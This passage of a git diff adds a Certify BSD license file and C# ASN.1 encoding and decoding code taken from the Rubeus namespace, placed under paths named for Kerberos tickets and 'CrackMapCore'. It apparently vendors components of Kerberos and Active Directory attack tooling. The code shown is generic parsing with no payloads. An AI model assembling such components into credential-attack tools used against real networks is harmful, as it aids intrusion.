end of file diff --git a/inc/kerbtgt/LICENSE b/inc/kerbtgt/LICENSE new file mode 100644 index 0000000..ebcbcf9 --- /dev/null +++ b/inc/kerbtgt/LICENSE @@ -0,0 +1,14 @@ +Certify is provided under the 3-clause BSD license below. + +************************************************************* + +Copyright (c) 2021, Will Schroeder and Lee Christensen +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + + Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/tests/kerbtgs/CrackMapCore/Asn1/Asn1Extensions.cs b/tests/kerbtgs/CrackMapCore/Asn1/Asn1Extensions.cs new file mode 100644 index 0000000..b032dc7 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Asn1/Asn1Extensions.cs @@ -0,0 +1,47 @@ +using System; + +namespace Rubeus.Asn1 { + public static class Asn1Extensions { + + public static byte[] DepadLeft(this byte[] data) { + + int leadingZeros = 0; + for (var i = 0; i < data.Length; i++) { + if (data[i] == 0) { + leadingZeros++; + } else { + break; + } + } + + byte[] result = new byte[data.Length - leadingZeros]; + Array.Copy(data, leadingZeros, result, 0, data.Length - leadingZeros); + return result; + } + + public static byte[] PadLeft(this byte[] data, int totalSize) { + + if(data.Length == totalSize) { + return data; + } + + if(totalSize < data.Length) { + throw new ArgumentException("data bigger than totalSize, cannot pad with 0's"); + } + + byte[] result = new byte[totalSize]; + data.CopyTo(result, totalSize - data.Length); + return result; + } + + public static byte[] PadRight(this byte[] data, int length) { + if (data.Length == length) { + return data; + } + + var copy = new byte[length]; + data.CopyTo(copy, length - data.Length); + return copy; + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Asn1/AsnElt.cs b/tests/kerbtgs/CrackMapCore/Asn1/AsnElt.cs new file mode 100644 index 0000000..516b19d --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Asn1/AsnElt.cs @@ -0,0 +1,2301 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Asn1 { + +/* + * An AsnElt instance represents a decoded ASN.1 DER object. It is + * immutable. + */ + +public class AsnElt { + + /* + * Universal tag values. + */ + public const int BOOLEAN = 1; + public const int INTEGER = 2; + public const int BIT_STRING = 3; + public const int OCTET_STRING = 4; + public const int NULL = 5; + public const int OBJECT_IDENTIFIER = 6; + public const int Object_Descriptor = 7; + public const int EXTERNAL = 8; + public const int REAL = 9; + public const int ENUMERATED = 10; + public const int EMBEDDED_PDV = 11; + public const int UTF8String = 12; + public const int RELATIVE_OID = 13; + public const int SEQUENCE = 16; + public const int SET = 17; + public const int NumericString = 18; + public const int PrintableString = 19; + public const int T61String = 20; + public const int TeletexString = 20; + public const int VideotexString = 21; + public const int IA5String = 22; + public const int UTCTime = 23; + public const int GeneralizedTime = 24; + public const int GraphicString = 25; + public const int VisibleString = 26; + public const int GeneralString = 27; + public const int UniversalString = 28; + public const int CHARACTER_STRING = 29; + public const int BMPString = 30; + + /* + * Tag classes. + */ + public const int UNIVERSAL = 0; + public const int APPLICATION = 1; + public const int CONTEXT = 2; + public const int PRIVATE = 3; + + /* + * Internal rules + * ============== + * + * Instances are immutable. They reference an internal buffer + * that they never modify. The buffer is never shown to the + * outside; when decoding and creating, copies are performed + * where necessary. + * + * If the instance was created by decoding, then: + * objBuf points to the array containing the complete object + * objOff start offset for the object header + * objLen complete object length + * valOff offset for the first value byte + * valLen value length (excluding the null-tag, if applicable) + * hasEncodedHeader is true + * + * If the instance was created from an explicit value or from + * sub-elements, then: + * objBuf contains the value, or is null + * objOff is 0 + * objLen is -1, or contains the computed object length + * valOff is 0 + * valLen is -1, or contains the computed value length + * hasEncodedHeader is false + * + * If objBuf is null, then the object is necessarily constructed + * (Sub is not null). If objBuf is not null, then the encoded + * value is known (the object may be constructed or primitive), + * and valOff/valLen identify the actual value within objBuf. + * + * Tag class and value, and sub-elements, are referenced from + * specific properties. + */ + + byte[] objBuf; + int objOff; + int objLen; + int valOff; + int valLen; + bool hasEncodedHeader; + + AsnElt() + { + } + + /* + * The tag class for this element. + */ + int tagClass_; + public int TagClass { + get { + return tagClass_; + } + private set { + tagClass_ = value; + } + } + + /* + * The tag value for this element. + */ + int tagValue_; + public int TagValue { + get { + return tagValue_; + } + private set { + tagValue_ = value; + } + } + + /* + * The sub-elements. This is null if this element is primitive. + * DO NOT MODIFY this array. + */ + AsnElt[] sub_; + public AsnElt[] Sub { + get { + return sub_; + } + private set { + sub_ = value; + } + } + + /* + * The "constructed" flag: true for an elements with sub-elements, + * false for a primitive element. + */ + public bool Constructed { + get { + return Sub != null; + } + } + + /* + * The value length. When the object is BER-encoded with an + * indefinite length, the value length includes all the sub-objects + * but NOT the formal null-tag marker. + */ + public int ValueLength { + get { + if (valLen < 0) { + if (Constructed) { + int vlen = 0; + foreach (AsnElt a in Sub) { + vlen += a.EncodedLength; + } + valLen = vlen; + } else { + valLen = objBuf.Length; + } + } + return valLen; + } + } + + /* + * The encoded object length (complete with header). + */ + public int EncodedLength { + get { + if (objLen < 0) { + int vlen = ValueLength; + objLen = TagLength(TagValue) + + LengthLength(vlen) + vlen; + } + return objLen; + } + } + + /* + * Check that this element is constructed. An exception is thrown + * if this is not the case. + */ + public void CheckConstructed() + { + if (!Constructed) { + throw new AsnException("not constructed"); + } + } + + /* + * Check that this element is primitive. An exception is thrown + * if this is not the case. + */ + public void CheckPrimitive() + { + if (Constructed) { + throw new AsnException("not primitive"); + } + } + + /* + * Get a sub-element. This method throws appropriate exceptions + * if this element is not constructed, or the requested index + * is out of range. + */ + public AsnElt GetSub(int n) + { + CheckConstructed(); + if (n < 0 || n >= Sub.Length) { + throw new AsnException("no such sub-object: n=" + n); + } + return Sub[n]; + } + + /* + * Check that the tag is UNIVERSAL with the provided value. + */ + public void CheckTag(int tv) + { + CheckTag(UNIVERSAL, tv); + } + + /* + * Check that the tag has the specified class and value. + */ + public void CheckTag(int tc, int tv) + { + if (TagClass != tc || TagValue != tv) { + throw new AsnException("unexpected tag: " + TagString); + } + } + + /* + * Check that this element is constructed and contains exactly + * 'n' sub-elements. + */ + public void CheckNumSub(int n) + { + CheckConstructed(); + if (Sub.Length != n) { + throw new AsnException("wrong number of sub-elements: " + + Sub.Length + " (expected: " + n + ")"); + } + } + + /* + * Check that this element is constructed and contains at least + * 'n' sub-elements. + */ + public void CheckNumSubMin(int n) + { + CheckConstructed(); + if (Sub.Length < n) { + throw new AsnException("not enough sub-elements: " + + Sub.Length + " (minimum: " + n + ")"); + } + } + + /* + * Check that this element is constructed and contains no more + * than 'n' sub-elements. + */ + public void CheckNumSubMax(int n) + { + CheckConstructed(); + if (Sub.Length > n) { + throw new AsnException("too many sub-elements: " + + Sub.Length + " (maximum: " + n + ")"); + } + } + + /* + * Get a string representation of the tag class and value. + */ + public string TagString { + get { + return TagToString(TagClass, TagValue); + } + } + + static string TagToString(int tc, int tv) + { + switch (tc) { + case UNIVERSAL: + break; + case APPLICATION: + return "APPLICATION:" + tv; + case CONTEXT: + return "CONTEXT:" + tv; + case PRIVATE: + return "PRIVATE:" + tv; + default: + return String.Format("INVALID:{0}/{1}", tc, tv); + } + + switch (tv) { + case BOOLEAN: return "BOOLEAN"; + case INTEGER: return "INTEGER"; + case BIT_STRING: return "BIT_STRING"; + case OCTET_STRING: return "OCTET_STRING"; + case NULL: return "NULL"; + case OBJECT_IDENTIFIER: return "OBJECT_IDENTIFIER"; + case Object_Descriptor: return "Object_Descriptor"; + case EXTERNAL: return "EXTERNAL"; + case REAL: return "REAL"; + case ENUMERATED: return "ENUMERATED"; + case EMBEDDED_PDV: return "EMBEDDED_PDV"; + case UTF8String: return "UTF8String"; + case RELATIVE_OID: return "RELATIVE_OID"; + case SEQUENCE: return "SEQUENCE"; + case SET: return "SET"; + case NumericString: return "NumericString"; + case PrintableString: return "PrintableString"; + case TeletexString: return "TeletexString"; + case VideotexString: return "VideotexString"; + case IA5String: return "IA5String"; + case UTCTime: return "UTCTime"; + case GeneralizedTime: return "GeneralizedTime"; + case GraphicString: return "GraphicString"; + case VisibleString: return "VisibleString"; + case GeneralString: return "GeneralString"; + case UniversalString: return "UniversalString"; + case CHARACTER_STRING: return "CHARACTER_STRING"; + case BMPString: return "BMPString"; + default: + return String.Format("UNIVERSAL:" + tv); + } + } + + /* + * Get the encoded length for a tag. + */ + static int TagLength(int tv) + { + if (tv <= 0x1F) { + return 1; + } + int z = 1; + while (tv > 0) { + z ++; + tv >>= 7; + } + return z; + } + + /* + * Get the encoded length for a length. + */ + static int LengthLength(int len) + { + if (len < 0x80) { + return 1; + } + int z = 1; + while (len > 0) { + z ++; + len >>= 8; + } + return z; + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. Trailing garbage is not tolerated. + */ + public static AsnElt Decode(byte[] buf) + { + return Decode(buf, 0, buf.Length, true); + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. Trailing garbage is not tolerated. + */ + public static AsnElt Decode(byte[] buf, int off, int len) + { + return Decode(buf, off, len, true); + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. If 'exactLength' is true, then trailing garbage is + * not tolerated (it triggers an exception). + */ + public static AsnElt Decode(byte[] buf, bool exactLength) + { + return Decode(buf, 0, buf.Length, exactLength); + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. If 'exactLength' is true, then trailing garbage is + * not tolerated (it triggers an exception). + */ + public static AsnElt Decode(byte[] buf, int off, int len, + bool exactLength) + { + if (Rubeus.Program.Debug) + { + Console.WriteLine("\n[DECODE] {0} {1}\n", exactLength, Convert.ToBase64String(buf)); + } + int tc, tv, valOff, valLen, objLen; + bool cons; + objLen = Decode(buf, off, len, + out tc, out tv, out cons, + out valOff, out valLen); + if (exactLength && objLen != len) { + throw new AsnException("trailing garbage"); + } + byte[] nbuf = new byte[objLen]; + Array.Copy(buf, off, nbuf, 0, objLen); + return DecodeNoCopy(nbuf, 0, objLen); + } + + /* + * Internal recursive decoder. The provided array is NOT copied. + * Trailing garbage is ignored (caller should use the 'objLen' + * field to learn the total object length). + */ + static AsnElt DecodeNoCopy(byte[] buf, int off, int len) + { + int tc, tv, valOff, valLen, objLen; + bool cons; + objLen = Decode(buf, off, len, + out tc, out tv, out cons, + out valOff, out valLen); + AsnElt a = new AsnElt(); + a.TagClass = tc; + a.TagValue = tv; + a.objBuf = buf; + a.objOff = off; + a.objLen = objLen; + a.valOff = valOff; + a.valLen = valLen; + a.hasEncodedHeader = true; + if (cons) { + List subs = new List(); + off = valOff; + int lim = valOff + valLen; + while (off < lim) { + AsnElt b = DecodeNoCopy(buf, off, lim - off); + off += b.objLen; + subs.Add(b); + } + a.Sub = subs.ToArray(); + } else { + a.Sub = null; + } + return a; + } + + /* + * Decode the tag and length, and get the value offset and length. + * Returned value if the total object length. + * Note: when an object has indefinite length, the terminated + * "null tag" will NOT be considered part of the "value length". + */ + static int Decode(byte[] buf, int off, int maxLen, + out int tc, out int tv, out bool cons, + out int valOff, out int valLen) + { + int lim = off + maxLen; + int orig = off; + + /* + * Decode tag. + */ + CheckOff(off, lim); + tv = buf[off ++]; + cons = (tv & 0x20) != 0; + tc = tv >> 6; + tv &= 0x1F; + if (tv == 0x1F) { + tv = 0; + for (;;) { + CheckOff(off, lim); + int c = buf[off ++]; + if (tv > 0xFFFFFF) { + throw new AsnException( + "tag value overflow"); + } + tv = (tv << 7) | (c & 0x7F); + if ((c & 0x80) == 0) { + break; + } + } + } + + /* + * Decode length. + */ + CheckOff(off, lim); + int vlen = buf[off ++]; + if (vlen == 0x80) { + /* + * Indefinite length. This is not strict DER, but + * we allow it nonetheless; we must check that + * the value was tagged as constructed, though. + */ + vlen = -1; + if (!cons) { + throw new AsnException("indefinite length" + + " but not constructed"); + } + } else if (vlen > 0x80) { + int lenlen = vlen - 0x80; + CheckOff(off + lenlen - 1, lim); + vlen = 0; + while (lenlen -- > 0) { + if (vlen > 0x7FFFFF) { + throw new AsnException( + "length overflow"); + } + vlen = (vlen << 8) + buf[off ++]; + } + } + + /* + * Length was decoded, so the value starts here. + */ + valOff = off; + + /* + * If length is indefinite then we must explore sub-objects + * to get the value length. + */ + if (vlen < 0) { + for (;;) { + int tc2, tv2, valOff2, valLen2; + bool cons2; + int slen; + + slen = Decode(buf, off, lim - off, + out tc2, out tv2, out cons2, + out valOff2, out valLen2); + if (tc2 == 0 && tv2 == 0) { + if (cons2 || valLen2 != 0) { + throw new AsnException( + "invalid null tag"); + } + valLen = off - valOff; + off += slen; + break; + } else { + off += slen; + } + } + } else { + if (vlen > (lim - off)) { + throw new AsnException("value overflow"); + } + off += vlen; + valLen = off - valOff; + } + + return off - orig; + } + + static void CheckOff(int off, int lim) + { + if (off >= lim) { + throw new AsnException("offset overflow"); + } + } + + /* + * Get a specific byte from the value. This provided offset is + * relative to the value start (first value byte has offset 0). + */ + public int ValueByte(int off) + { + if (off < 0) { + throw new AsnException("invalid value offset: " + off); + } + if (objBuf == null) { + int k = 0; + foreach (AsnElt a in Sub) { + int slen = a.EncodedLength; + if ((k + slen) > off) { + return a.ValueByte(off - k); + } + } + } else { + if (off < valLen) { + return objBuf[valOff + off]; + } + } + throw new AsnException(String.Format( + "invalid value offset {0} (length = {1})", + off, ValueLength)); + } + + /* + * Encode this object into a newly allocated array. + */ + public byte[] Encode() + { + byte[] r = new byte[EncodedLength]; + Encode(r, 0); + + if (Rubeus.Program.Debug) + { + Console.WriteLine("\n[ENCODE] {0}\n", Convert.ToBase64String(r)); + } + return r; + } + + /* + * Encode this object into the provided array. Encoded object + * length is returned. + */ + public int Encode(byte[] dst, int off) + { + return Encode(0, Int32.MaxValue, dst, off); + } + + /* + * Encode this object into the provided array. Only bytes + * at offset between 'start' (inclusive) and 'end' (exclusive) + * are actually written. The number of written bytes is returned. + * Offsets are relative to the object start (first tag byte). + */ + int Encode(int start, int end, byte[] dst, int dstOff) + { + /* + * If the encoded value is already known, then we just + * dump it. + */ + if (hasEncodedHeader) { + int from = objOff + Math.Max(0, start); + int to = objOff + Math.Min(objLen, end); + int len = to - from; + if (len > 0) { + Array.Copy(objBuf, from, dst, dstOff, len); + return len; + } else { + return 0; + } + } + + int off = 0; + + /* + * Encode tag. + */ + int fb = (TagClass << 6) + (Constructed ? 0x20 : 0x00); + if (TagValue < 0x1F) { + fb |= (TagValue & 0x1F); + if (start <= off && off < end) { + dst[dstOff ++] = (byte)fb; + } + off ++; + } else { + fb |= 0x1F; + if (start <= off && off < end) { + dst[dstOff ++] = (byte)fb; + } + off ++; + int k = 0; + for (int v = TagValue; v > 0; v >>= 7, k += 7); + while (k > 0) { + k -= 7; + int v = (TagValue >> k) & 0x7F; + if (k != 0) { + v |= 0x80; + } + if (start <= off && off < end) { + dst[dstOff ++] = (byte)v; + } + off ++; + } + } + + /* + * Encode length. + */ + int vlen = ValueLength; + if (vlen < 0x80) { + if (start <= off && off < end) { + dst[dstOff ++] = (byte)vlen; + } + off ++; + } else { + int k = 0; + for (int v = vlen; v > 0; v >>= 8, k += 8); + if (start <= off && off < end) { + dst[dstOff ++] = (byte)(0x80 + (k >> 3)); + } + off ++; + while (k > 0) { + k -= 8; + if (start <= off && off < end) { + dst[dstOff ++] = (byte)(vlen >> k); + } + off ++; + } + } + + /* + * Encode value. We must adjust the start/end window to + * make it relative to the value. + */ + EncodeValue(start - off, end - off, dst, dstOff); + off += vlen; + + /* + * Compute copied length. + */ + return Math.Max(0, Math.Min(off, end) - Math.Max(0, start)); + } + + /* + * Encode the value into the provided buffer. Only value bytes + * at offsets between 'start' (inclusive) and 'end' (exclusive) + * are written. Actual number of written bytes is returned. + * Offsets are relative to the start of the value. + */ + int EncodeValue(int start, int end, byte[] dst, int dstOff) + { + int orig = dstOff; + if (objBuf == null) { + int k = 0; + foreach (AsnElt a in Sub) { + int slen = a.EncodedLength; + dstOff += a.Encode(start - k, end - k, + dst, dstOff); + k += slen; + } + } else { + int from = Math.Max(0, start); + int to = Math.Min(valLen, end); + int len = to - from; + if (len > 0) { + Array.Copy(objBuf, valOff + from, + dst, dstOff, len); + dstOff += len; + } + } + return dstOff - orig; + } + + /* + * Copy a value chunk. The provided offset ('off') and length ('len') + * define the chunk to copy; the offset is relative to the value + * start (first value byte has offset 0). If the requested window + * exceeds the value boundaries, an exception is thrown. + */ + public void CopyValueChunk(int off, int len, byte[] dst, int dstOff) + { + int vlen = ValueLength; + if (off < 0 || len < 0 || len > (vlen - off)) { + throw new AsnException(String.Format( + "invalid value window {0}:{1}" + + " (value length = {2})", off, len, vlen)); + } + EncodeValue(off, off + len, dst, dstOff); + } + + /* + * Copy the value into the specified array. The value length is + * returned. + */ + public int CopyValue(byte[] dst, int off) + { + return EncodeValue(0, Int32.MaxValue, dst, off); + } + + /* + * Get a copy of the value as a freshly allocated array. + */ + public byte[] CopyValue() + { + byte[] r = new byte[ValueLength]; + EncodeValue(0, r.Length, r, 0); + return r; + } + + /* + * Get the value. This may return a shared buffer, that MUST NOT + * be modified. + */ + byte[] GetValue(out int off, out int len) + { + if (objBuf == null) { + /* + * We can modify objBuf because CopyValue() + * called ValueLength, thus valLen has been + * filled. + */ + objBuf = CopyValue(); + off = 0; + len = objBuf.Length; + } else { + off = valOff; + len = valLen; + } + return objBuf; + } + + /* + * Interpret the value as a BOOLEAN. + */ + public bool GetBoolean() + { + if (Constructed) { + throw new AsnException( + "invalid BOOLEAN (constructed)"); + } + int vlen = ValueLength; + if (vlen != 1) { + throw new AsnException(String.Format( + "invalid BOOLEAN (length = {0})", vlen)); + } + return ValueByte(0) != 0; + } + + /* + * Interpret the value as an INTEGER. An exception is thrown if + * the value does not fit in a 'long'. + */ + public long GetInteger() + { + if (Constructed) { + throw new AsnException( + "invalid INTEGER (constructed)"); + } + int vlen = ValueLength; + if (vlen == 0) { + throw new AsnException("invalid INTEGER (length = 0)"); + } + int v = ValueByte(0); + long x; + if ((v & 0x80) != 0) { + x = -1; + for (int k = 0; k < vlen; k ++) { + if (x < ((-1L) << 55)) { + throw new AsnException( + "integer overflow (negative)"); + } + x = (x << 8) + (long)ValueByte(k); + } + } else { + x = 0; + for (int k = 0; k < vlen; k ++) { + if (x >= (1L << 55)) { + throw new AsnException( + "integer overflow (positive)"); + } + x = (x << 8) + (long)ValueByte(k); + } + } + return x; + } + + /* + * Interpret the value as an INTEGER. An exception is thrown if + * the value is outside of the provided range. + */ + public long GetInteger(long min, long max) + { + long v = GetInteger(); + if (v < min || v > max) { + throw new AsnException("integer out of allowed range"); + } + return v; + } + + /* + * Interpret the value as an INTEGER. Return its hexadecimal + * representation (uppercase), preceded by a '0x' or '-0x' + * header, depending on the integer sign. The number of + * hexadecimal digits is even. Leading zeroes are returned (but + * one may remain, to ensure an even number of digits). If the + * integer has value 0, then 0x00 is returned. + */ + public string GetIntegerHex() + { + if (Constructed) { + throw new AsnException( + "invalid INTEGER (constructed)"); + } + int vlen = ValueLength; + if (vlen == 0) { + throw new AsnException("invalid INTEGER (length = 0)"); + } + StringBuilder sb = new StringBuilder(); + byte[] tmp = CopyValue(); + if (tmp[0] >= 0x80) { + sb.Append('-'); + int cc = 1; + for (int i = tmp.Length - 1; i >= 0; i --) { + int v = ((~tmp[i]) & 0xFF) + cc; + tmp[i] = (byte)v; + cc = v >> 8; + } + } + int k = 0; + while (k < tmp.Length && tmp[k] == 0) { + k ++; + } + if (k == tmp.Length) { + return "0x00"; + } + sb.Append("0x"); + while (k < tmp.Length) { + sb.AppendFormat("{0:X2}", tmp[k ++]); + } + return sb.ToString(); + } + + /* + * Interpret the value as an OCTET STRING. The value bytes are + * returned. This method supports constructed values and performs + * the reassembly. + */ + public byte[] GetOctetString() + { + int len = GetOctetString(null, 0); + byte[] r = new byte[len]; + GetOctetString(r, 0); + return r; + } + + /* + * Interpret the value as an OCTET STRING. The value bytes are + * written in dst[], starting at offset 'off', and the total value + * length is returned. If 'dst' is null, then no byte is written + * anywhere, but the total length is still returned. This method + * supports constructed values and performs the reassembly. + */ + public int GetOctetString(byte[] dst, int off) + { + if (Constructed) { + int orig = off; + foreach (AsnElt ae in Sub) { + ae.CheckTag(AsnElt.OCTET_STRING); + off += ae.GetOctetString(dst, off); + } + return off - orig; + } + if (dst != null) { + return CopyValue(dst, off); + } else { + return ValueLength; + } + } + + /* + * Interpret the value as a BIT STRING. The bits are returned, + * with the "ignored bits" cleared. + */ + public byte[] GetBitString() + { + int bitLength; + return GetBitString(out bitLength); + } + + /* + * Interpret the value as a BIT STRING. The bits are returned, + * with the "ignored bits" cleared. The actual bit length is + * written in 'bitLength'. + */ + public byte[] GetBitString(out int bitLength) + { + if (Constructed) { + /* + * TODO: support constructed BIT STRING values. + */ + throw new AsnException( + "invalid BIT STRING (constructed)"); + } + int vlen = ValueLength; + if (vlen == 0) { + throw new AsnException( + "invalid BIT STRING (length = 0)"); + } + int fb = ValueByte(0); + if (fb > 7 || (vlen == 1 && fb != 0)) { + throw new AsnException(String.Format( + "invalid BIT STRING (start = 0x{0:X2})", fb)); + } + byte[] r = new byte[vlen - 1]; + CopyValueChunk(1, vlen - 1, r, 0); + if (vlen > 1) { + r[r.Length - 1] &= (byte)(0xFF << fb); + } + bitLength = (r.Length << 3) - fb; + return r; + } + + /* + * Interpret the value as a NULL. + */ + public void CheckNull() + { + if (Constructed) { + throw new AsnException( + "invalid NULL (constructed)"); + } + if (ValueLength != 0) { + throw new AsnException(String.Format( + "invalid NULL (length = {0})", ValueLength)); + } + } + + /* + * Interpret the value as an OBJECT IDENTIFIER, and return it + * (in decimal-dotted string format). + */ + public string GetOID() + { + CheckPrimitive(); + if (valLen == 0) { + throw new AsnException("zero-length OID"); + } + int v = objBuf[valOff]; + if (v >= 120) { + throw new AsnException( + "invalid OID: first byte = " + v); + } + StringBuilder sb = new StringBuilder(); + sb.Append(v / 40); + sb.Append('.'); + sb.Append(v % 40); + long acc = 0; + bool uv = false; + for (int i = 1; i < valLen; i ++) { + v = objBuf[valOff + i]; + if ((acc >> 56) != 0) { + throw new AsnException( + "invalid OID: integer overflow"); + } + acc = (acc << 7) + (long)(v & 0x7F); + if ((v & 0x80) == 0) { + sb.Append('.'); + sb.Append(acc); + acc = 0; + uv = false; + } else { + uv = true; + } + } + if (uv) { + throw new AsnException( + "invalid OID: truncated"); + } + return sb.ToString(); + } + + /* + * Get the object value as a string. The string type is inferred + * from the tag. + */ + public string GetString() + { + if (TagClass != UNIVERSAL) { + throw new AsnException(String.Format( + "cannot infer string type: {0}:{1}", + TagClass, TagValue)); + } + return GetString(TagValue); + } + + /* + * Get the object value as a string. The string type is provided + * (universal tag value). Supported string types include + * NumericString, PrintableString, IA5String, TeletexString + * (interpreted as ISO-8859-1), UTF8String, BMPString and + * UniversalString; the "time types" (UTCTime and GeneralizedTime) + * are also supported, though, in their case, the internal + * contents are not checked (they are decoded as PrintableString). + */ + public string GetString(int type) + { + if (Constructed) { + throw new AsnException( + "invalid string (constructed)"); + } + switch (type) { + case NumericString: + case PrintableString: + case IA5String: + case TeletexString: + case UTCTime: + case GeneralizedTime: + return DecodeMono(objBuf, valOff, valLen, type); + case UTF8String: + return DecodeUTF8(objBuf, valOff, valLen); + case BMPString: + return DecodeUTF16(objBuf, valOff, valLen); + case UniversalString: + return DecodeUTF32(objBuf, valOff, valLen); + default: + throw new AsnException( + "unsupported string type: " + type); + } + } + + static string DecodeMono(byte[] buf, int off, int len, int type) + { + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + tc[i] = (char)buf[off + i]; + } + VerifyChars(tc, type); + return new string(tc); + } + + static string DecodeUTF8(byte[] buf, int off, int len) + { + /* + * Skip BOM. + */ + if (len >= 3 && buf[off] == 0xEF + && buf[off + 1] == 0xBB && buf[off + 2] == 0xBF) + { + off += 3; + len -= 3; + } + char[] tc = null; + for (int k = 0; k < 2; k ++) { + int tcOff = 0; + for (int i = 0; i < len; i ++) { + int c = buf[off + i]; + int e; + if (c < 0x80) { + e = 0; + } else if (c < 0xC0) { + throw BadByte(c, UTF8String); + } else if (c < 0xE0) { + c &= 0x1F; + e = 1; + } else if (c < 0xF0) { + c &= 0x0F; + e = 2; + } else if (c < 0xF8) { + c &= 0x07; + e = 3; + } else { + throw BadByte(c, UTF8String); + } + while (e -- > 0) { + if (++ i >= len) { + throw new AsnException( + "invalid UTF-8 string"); + } + int d = buf[off + i]; + if (d < 0x80 || d > 0xBF) { + throw BadByte(d, UTF8String); + } + c = (c << 6) + (d & 0x3F); + } + if (c > 0x10FFFF) { + throw BadChar(c, UTF8String); + } + if (c > 0xFFFF) { + c -= 0x10000; + int hi = 0xD800 + (c >> 10); + int lo = 0xDC00 + (c & 0x3FF); + if (tc != null) { + tc[tcOff] = (char)hi; + tc[tcOff + 1] = (char)lo; + } + tcOff += 2; + } else { + if (tc != null) { + tc[tcOff] = (char)c; + } + tcOff ++; + } + } + if (tc == null) { + tc = new char[tcOff]; + } + } + VerifyChars(tc, UTF8String); + return new string(tc); + } + + static string DecodeUTF16(byte[] buf, int off, int len) + { + if ((len & 1) != 0) { + throw new AsnException( + "invalid UTF-16 string: length = " + len); + } + len >>= 1; + if (len == 0) { + return ""; + } + bool be = true; + int hi = buf[off]; + int lo = buf[off + 1]; + if (hi == 0xFE && lo == 0xFF) { + off += 2; + len --; + } else if (hi == 0xFF && lo == 0xFE) { + off += 2; + len --; + be = false; + } + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + int b0 = buf[off ++]; + int b1 = buf[off ++]; + if (be) { + tc[i] = (char)((b0 << 8) + b1); + } else { + tc[i] = (char)((b1 << 8) + b0); + } + } + VerifyChars(tc, BMPString); + return new string(tc); + } + + static string DecodeUTF32(byte[] buf, int off, int len) + { + if ((len & 3) != 0) { + throw new AsnException( + "invalid UTF-32 string: length = " + len); + } + len >>= 2; + if (len == 0) { + return ""; + } + bool be = true; + if (buf[off] == 0x00 + && buf[off + 1] == 0x00 + && buf[off + 2] == 0xFE + && buf[off + 3] == 0xFF) + { + off += 4; + len --; + } else if (buf[off] == 0xFF + && buf[off + 1] == 0xFE + && buf[off + 2] == 0x00 + && buf[off + 3] == 0x00) + { + off += 4; + len --; + be = false; + } + + char[] tc = null; + for (int k = 0; k < 2; k ++) { + int tcOff = 0; + for (int i = 0; i < len; i ++) { + uint b0 = buf[off + 0]; + uint b1 = buf[off + 1]; + uint b2 = buf[off + 2]; + uint b3 = buf[off + 3]; + uint c; + if (be) { + c = (b0 << 24) | (b1 << 16) + | (b2 << 8) | b3; + } else { + c = (b3 << 24) | (b2 << 16) + | (b1 << 8) | b0; + } + if (c > 0x10FFFF) { + throw BadChar((int)c, UniversalString); + } + if (c > 0xFFFF) { + c -= 0x10000; + int hi = 0xD800 + (int)(c >> 10); + int lo = 0xDC00 + (int)(c & 0x3FF); + if (tc != null) { + tc[tcOff] = (char)hi; + tc[tcOff + 1] = (char)lo; + } + tcOff += 2; + } else { + if (tc != null) { + tc[tcOff] = (char)c; + } + tcOff ++; + } + } + if (tc == null) { + tc = new char[tcOff]; + } + } + VerifyChars(tc, UniversalString); + return new string(tc); + } + + static void VerifyChars(char[] tc, int type) + { + switch (type) { + case NumericString: + foreach (char c in tc) { + if (!IsNum(c)) { + throw BadChar(c, type); + } + } + return; + case PrintableString: + case UTCTime: + case GeneralizedTime: + foreach (char c in tc) { + if (!IsPrintable(c)) { + throw BadChar(c, type); + } + } + return; + case IA5String: + foreach (char c in tc) { + if (!IsIA5(c)) { + throw BadChar(c, type); + } + } + return; + case TeletexString: + foreach (char c in tc) { + if (!IsLatin1(c)) { + throw BadChar(c, type); + } + } + return; + } + + /* + * For Unicode string types (UTF-8, BMP...). + */ + for (int i = 0; i < tc.Length; i ++) { + int c = tc[i]; + if (c >= 0xFDD0 && c <= 0xFDEF) { + throw BadChar(c, type); + } + if (c == 0xFFFE || c == 0xFFFF) { + throw BadChar(c, type); + } + if (c < 0xD800 || c > 0xDFFF) { + continue; + } + if (c > 0xDBFF) { + throw BadChar(c, type); + } + int hi = c & 0x3FF; + if (++ i >= tc.Length) { + throw BadChar(c, type); + } + c = tc[i]; + if (c < 0xDC00 || c > 0xDFFF) { + throw BadChar(c, type); + } + int lo = c & 0x3FF; + c = 0x10000 + lo + (hi << 10); + if ((c & 0xFFFE) == 0xFFFE) { + throw BadChar(c, type); + } + } + } + + static bool IsNum(int c) + { + return c == ' ' || (c >= '0' && c <= '9'); + } + + internal static bool IsPrintable(int c) + { + if (c >= 'A' && c <= 'Z') { + return true; + } + if (c >= 'a' && c <= 'z') { + return true; + } + if (c >= '0' && c <= '9') 